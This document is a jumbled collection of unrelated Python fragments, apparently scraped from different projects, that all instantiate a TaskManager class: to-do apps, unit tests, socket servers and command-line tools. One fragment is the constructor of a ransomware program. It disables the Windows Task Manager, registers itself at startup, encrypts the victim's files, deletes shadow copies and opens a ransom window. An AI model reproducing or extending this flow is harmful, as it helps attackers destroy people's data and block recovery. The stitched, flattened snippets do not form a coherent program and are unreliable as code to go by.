def __init__(self): """Create TreeTodoApplication""" Application.__init__(self) self.connect("activate", self.on_activate) self.taskManager = TaskManager()
def SetupTaskManager(self): taskManager = TaskManager() taskManager.OnTaskBlocked = self.OnTaskBlocked taskManager.OnTaskWait = self.OnTaskWait taskManager.OnTaskProgressUpdate = self.OnTaskProgressUpdate taskManager.OnTaskDone = self.OnTaskDone self.taskManager = taskManager
def __init__(self, server_address: "tuple (ip,port)" = None): # Create a TCP/IP socket self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if server_address is None: server_address = DEFAULT_SERVER_ADDRESS self.sock.bind(server_address) self.sock.listen(SERVER_LISTEN_CONNECTIONS) self.sock.settimeout(SERVER_SOCKET_TIMEOUT) self.response_timeout = DEFAULT_RESPONSE_TIMEOUT self.running = False self.task_manager = TaskManager() self.task_manager.run()
def __init__(self): ''' @summary: Constructor ''' self.__config = self.__load_config() self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") # Init Crypt Lib self.Crypt = Crypt.SymmetricCrypto() # FIRST RUN # Encrypt! if not os.path.isfile(self.encrypted_file_list): # Disable Task Manager if self.__config["disable_task_manager"]: self.task_manager = TaskManager() try: self.task_manager.disable() except WindowsError: pass # Add to startup programs # TODO Test if self.__config["open_gui_on_login"]: self.__add_to_startup_programs() # Find files and initialise keys self.Crypt.init_keys() file_list = self.find_files() # Start encryption self.encrypt_files(file_list) # If no files were encrypted. cleanup and return if self.__no_files_were_encrypted(): # TODO Test self.cleanup() return # Delete Shadow Copies if "delete_shadow_copies" in self.__config: self.__delete_shadow_files() # Open GUI self.start_gui() # ALREADY ENCRYPTED - Open GUI elif os.path.isfile(self.encrypted_file_list): self.start_gui()
def __init__(self, address, configDesc): self.configDesc = configDesc self.address = address self.curPort = configDesc.startPort self.taskHeaders = {} self.taskManager = TaskManager(configDesc.clientUid) self.taskComputer = TaskComputer(configDesc.clientUid, self, self.configDesc.estimatedPerformance, self.configDesc.taskRequestInterval) self.taskSeesions = {} self.taskSeesionsIncoming = [] self.lastMessages = [] self.resultsToSend = {} self.__startAccepting()
def main(args=None): """ Entry point for both command-line and shell Note that the `args` parameter to this function allows us to do stuff from the Python interactive prompt: >>> Main.main(['-H', 'pivot02', 'getstate', 'mabramow-test1']) getstate(mabramow-test1) = off Inspiration from http://www.artima.com/weblogs/viewpost.jsp?thread=4829 """ try: options, args = optionsParser.parser.parse_args(args or sys.argv[1:]) if options.serverOp: args.insert(0, options.serverOp) host = GetHost(options) if options.interactive: Shell(host).cmdloop() else: operationName, result = CommandProcessor.Process(host, args) if result is not None: result = TaskManager().HandleIfTask(result, async=False) if not options.quiet: if isinstance(result, basestring) or \ isinstance(result, int) or isinstance(result, long): sys.stdout.write(GetPrologue(operationName, args)) if result == 'success': result = 1 if result == 'error': result = 0 print(optionsParser.GetFormatter(options).Format(result)) except CommandProcessor.InvalidOperation: sys.stderr.write('Invalid operation specified.\n\n') optionsParser.parser.print_help() sys.stderr.write('\nInvalid operation specified.\n') except CommandProcessor.InvalidParameter, e: sys.stderr.write('Invalid parameter specified.\n\n') sys.stderr.write('%s\n' % e)
def main(self): """ The main controller function. It coordinates all activities. """ try: self.cli_api = CommandLineAPI() self.task_manager = TaskManager(self.cli_api) resp_code = 127 task_and_inp = self.precmd() while True: if isinstance(task_and_inp[0], int) == False: resp_code = self.execute_task(task_and_inp[0], task_and_inp[1]) self.postcmd(resp_code) task_and_inp = self.precmd(init=False) except KeyboardInterrupt: self.cli_api.exit()
def test_saveOneTask(): tm = TaskManager() tm.exec("+ Acheter du pain") assert tm.tasks[0].label == "Acheter du pain" assert tm.tasks[0].status == "TODO"
def test_doneTask(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") assert tm.tasks[0].status == "DONE"
def parseInputActionToDo(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("o 1") assert tm.action.type == "TODO"
def parseEmptyInput(): tm = TaskManager() tm.exec("") assert tm.action.type is None
def parseInputActionRemove(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("- 1") assert tm.action.type == "REMOVE"
def parseInputActionDone(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") assert tm.action.type == "DONE"
def setup(self): self.tm = TaskManager('sv')
def parseInputActionAdd(): tm = TaskManager() tm.exec("+ Acheter du pain") assert tm.action.type == "ADD"
def __init__(self, complete_db_overhaul=False): self.dialog_tracer_obj = DialogTracer(True) self.task_manager_obj = TaskManager(complete_db_overhaul) self.dialog_tracer_obj.sys_msg("Dialog Manager setup complete..")
from TaskManager import TaskManager from os import system, name def clear(): # for windows if name == 'nt': _ = system('cls') # for mac and linux(here, os.name is 'posix') else: _ = system('clear') tm = TaskManager() while True: clear() print("Listes:") tm.displayTasks() tm.exec(input("commande: "))
def test_toDoTask(): tm = TaskManager() tm.exec("+ Acheter du pain") tm.exec("x 1") tm.exec("o 1") assert tm.tasks[0].status == "TODO"
def setUp(self): logging.basicConfig(filename='TaskManager.log', level=logging.DEBUG) logger = logging.getLogger(__name__) self.hostname = 'sv0' self.tm = TaskManager(self.hostname, logger, address='127.0.0.1', port=5440) self.job_name = 'tm_test'
from TaskManager import TaskManager # TaskManager 생성 taskManager = TaskManager() menuNum = input( "########## To-Do List App ########## \n 메뉴를 선택해주세요. \n 1. 조회 \n 2. 등록 \n 3. 변경 \n 4. 삭제 \n > " ) # Menu별 수행 내용 if menuNum is "1": print("김규범 님의 To-Do List") taskManager.viewTask() elif menuNum is "2": taskName = input("Task의 이름을 입력 해 주세요: ") taskManager.createTask(taskName) elif menuNum is "3": print("김규범 님의 To-Do List") index = input("변경할 Task의 번호를 입력 해 주세요: ") completed = input("이 일을 완료 표시 할까요? (y/n)") if completed is "y" or completed is "n": if completed is "y": result = taskManager.changeCompleted(index, True) elif completed is "n": result = taskManager.changeCompleted(index, False) if (result): print("변경 완료 되었습니다.") else: print("Task가 존재하지 않습니다.") else:
def on_json_loading_failed(self, e): return { "status": False, "message": "Failed to decode JSON object: {0}".format(e) } app.request_class = custom_request # TO BE DELETED # def pass_through(*args, **kwargs): # """ pass through function for debug """ # logging.debug("PASS THROUGH: Doing Nothing") # return {"status": True} tm = TaskManager(validate_func=validate, execute_func=generate) @app.route('/') def root(): return app.send_static_file('index.html') @app.route('/input_set/upload', methods=['POST']) def upload_input_set(): content = request.get_json() if content is None: return jsonify({"status": False, "message": "There is no json."}), 400 if content.get("status") is False: return jsonify(content), 400 logging.debug("input_set/upload, json: " + json.dumps(content))
from TaskManager import TaskManager from AIServerController import GLOBAL_CONTROLLER from AIServerSocket import AIServerSocketStore from GPUManager import GPUServerManager from CommandHandler import COMMAND_HANDLER_STORE GLOBAL_CONTROLLER.gpu_manager = GPUServerManager.get_instance() GLOBAL_CONTROLLER.gpu_manager.run() GLOBAL_CONTROLLER.command_handler_store = COMMAND_HANDLER_STORE GLOBAL_CONTROLLER.task_manager = TaskManager() GLOBAL_CONTROLLER.task_manager.run() GLOBAL_CONTROLLER.socket = AIServerSocketStore() GLOBAL_CONTROLLER.socket.bind() GLOBAL_CONTROLLER.socket.run()
# Check if input is valid if len(sys.argv) == 1: parser.print_help(sys.stderr) sys.exit(1) # Check if file exists if vars['file']: tasks_file = os.path.expanduser(vars['file']) else: tasks_file = os.path.expanduser('~/tokyo/tasks.json') if not os.path.exists(tasks_file): exit('Invalid tasks file!') task_manager = TaskManager(tasks_file) # List tasks if vars['list']: task_manager.listTasks() exit() # Print history if vars['hist']: task_manager.printHistory() exit() # Execute tasks for task in vars['tasks']: task_manager.runTask (task)
except: #logger.exception("Error in initializing ENGINE.") # Use error instead of exception since any exception # should have been printed in the engine #logger.error("Error in initializing ENGINE.") sleep(2) main_logger.stop() sys.exit("****Exiting****") # ======================== # Setup Task Manager # ======================== try: task_manager = TaskManager(options.settings, main_logger.log_queue) except: #logger.error("Error in initializing tastk manager.") main_logger.stop() sys.exit("****Exiting****") # ======================== # Main Loop # ======================== # Create and launch the command line interpreter cli = CLI(engine, task_manager, main_logger, logger) engine.SetParent(cli) #comment out if cli not parent
choices=["2a", "2b", "3a", "3b", "4d", "5"], default="2a") parser.add_argument( "-f", "--file", help="A file path to a json file containing data from issuu.com", type=str, required=True) parser.add_argument("-g", "--gui", help="set this flag to display a gui.", action="store_true") parser.add_argument( "-v", "--verbose", help="set this flag to display detailed is likes data in the console.", action="store_true") args = parser.parse_args() data_displayer = DisplayData( ) # create an instance of the DisplayData class if not args.gui: # If the gui interface is not used task_manager = TaskManager() task_manager.run_task(args.task, args.docID, args.userID, args.file, data_displayer) # run the specified task else: # show the GUI gui = GUIManager(args.docID, args.userID, args.file, data_displayer) data_displayer.gui_manager = gui # save the reference to this gui object (needed to print messages) gui.display_gui() # show the gui
def main(): # Проверяем наличие необходимых директорий check_dir(cfg.mbackup_root_path) tm = TaskManager() subpath_sync(tm.tasks)